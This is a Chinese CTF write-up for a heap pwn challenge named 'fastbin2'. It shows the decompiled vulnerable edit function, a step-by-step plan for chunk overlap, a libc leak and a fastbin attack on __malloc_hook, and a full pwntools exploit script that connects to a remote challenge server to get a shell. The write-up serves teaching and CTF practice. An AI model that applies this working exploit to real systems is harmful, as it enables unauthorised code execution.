fastbin2(堆溢出+fastbin attack)
题目:
unsigned __int64 sub_D7F()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
_DWORD nbytes[3]; // [rsp+4h] [rbp-Ch] BYREF
*(_QWORD *)&nbytes[1] = __readfsqword(0x28u);
printf("index: ");
_isoc99_scanf("%ud", &v1);
if ( v1 <= 9 )
{
if ( *((_DWORD *)&unk_202060 + 4 * v1) )
{
printf("size: ");
_isoc99_scanf("%d", nbytes);
if ( nbytes[0] )
{
printf("edit:");
read(0, (void *)qword_202068[2 * v1], nbytes[0]);
}
}
}
return __readfsqword(0x28u) ^ *(_QWORD *)&nbytes[1];
}
思路:
利用堆溢出构造堆块重叠->申请4个chunk(0,1,2,3)(3隔绝top chunk)->编辑0修改1的size位为1和2的和->free 1->1和2的和在unsorted bin中->把1申请回来->show 2->libc->把2申请回来这里编号变成4(但实际指向2)->free 4(在fastbin中,利用fastbin attack)->编辑2就是编辑4,把fd改为malloc-0x23(facktrunk)->把4申请回来->把facktrunk申请回来(编号5)->编辑5修改malloc的值为onegadget->调用malloc->shell
script:
from pwn import *
from LibcSearcher import *
def conn():
global r,Libc,elf
#r = process("./fastbin2")
Libc = ELF("./libc-2.23.so")
r = remote("1.95.36.136", 2074)
#elf = ELF("./pwn1")
def add(x):
r.sendlineafter(b"Enter: ",b"1")
r.sendlineafter(b"size:",str(x).encode())
def edit(x,y):
r.sendlineafter(b"Enter: ",b"3")
r.sendlineafter(b"index: ",str(x).encode())
r.sendlineafter(b"size: ",str(len(y)).encode())
r.sendlineafter(b"edit:",y)
def free(x):
r.sendlineafter(b"Enter: ",b"2")
r.sendlineafter(b"index: ",str(x).encode())
def show(x):
r.sendlineafter(b"Enter: ",b"4")
r.sendlineafter(b"index: ",str(x).encode())
def pwn():
add(0x68)
add(0x68)
add(0x68)
add(0x100)
edit(0,b'a'*0x68+p64(0xe1))
free(1)
add(0x68)
show(2)
libc = u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c4b78
print("libc>>>",hex(libc))
malloc = libc+Libc.sym["__malloc_hook"]
one = [0x4527a,0xf03a4,0xf1247]
onegadget = libc+one[2]
print("one>>>",hex(onegadget))
add(0x68)
free(4)
edit(2,p64(malloc-0x23))
add(0x68)
add(0x68)
edit(5,b'a'*0x13+p64(onegadget))
add(0)
#gdb.attach(r)
r.interactive()
conn()
pwn()